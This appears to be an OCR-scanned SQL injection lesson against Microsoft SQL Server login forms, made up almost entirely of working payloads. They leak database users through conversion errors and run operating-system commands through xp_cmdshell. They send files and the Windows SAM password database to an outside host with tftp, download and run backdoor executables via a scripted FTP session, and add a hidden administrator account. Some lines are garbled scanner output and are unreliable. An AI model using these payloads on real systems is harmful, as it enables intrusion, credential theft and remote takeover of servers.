SQL Injection (Lesson 6)
(Using SQL Server)
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Login: a' or 1=convert (int,user_name())--

Microsoft OLE DB Provider for SQL Server error '80040€07'
Syntax error converting the nvarchar value 'dbo’ to a column of data typeint.

/check.asp, line 15

Login: a' or 1=convert(int,system_user)--

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'sa to a column of data typeint.

/check.asp, line 15

il csw exec xp_cmdshell 51 oslaiwl @y 5leo loois 2wl dbo g S8 Y99 wWhgiws (s>9,3> aS (sijgo >
ol 00uw 39z whhgiws (ul wowl GSow Sl s

(Al acwlw | axans 55 gewl vas HUail (g seui (s ol Wljgiws) 3ol s 405 W)ygo W Hgiws IS 0,9
Login: ' ; exec master..xp_cmdshell 'ms-dos command' --
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Login: ' ; exec master..xp_cmdshell 'dir c:\ > filel.txt' --
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Login: ' ; exec master..xp_cmdshell 'ipconfig > file2.txt'--

Login: ' ; exec master..xp_cmdshell 'echo dir c:\ /s > c:\file3.bat'--
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Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> Put filel.txt'--

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> PUT c:\winnt\repair\sam'--
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Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> GET backdoor.exe'--
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'; exec MASTER..xp_cmdshell 'md %systemroot%\system32\mouse\'--
'; exec MASTER..xp_cmdshell 'echo open x.x.x.x 21 >> %systemroot%\system32\mousefile.txt'--

'; exec MASTER..xp_cmdshell 'echo USER smallMouse 123456 >> %systemroot%)\system32\mouse
\file.txt'--

'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo get file.exe %systemroot%)\system32\mouse\M.exe >> %
systemroot%\system32\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%)\system32\mouse\file.txt'--
'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%)\system32\mouse\file.txt'--
'; exec MASTER..xp_cmdshell 'del %systemroot%)\system32\mousefile.txt'--

'; exec MASTER..xp_cmdshell '%systemroot%)\system32\Mouse\M.exe'--
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'» exec MASTER..xp_cmdshell 'dir C:\ > filel.txt %26 tftp -i <IP> Put filel.txt'--
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' ; exec master..xp_cmdshell 'net user Mouse 123 /add %26 net localgroup administrators M /add'--

User: M
Pass: 123
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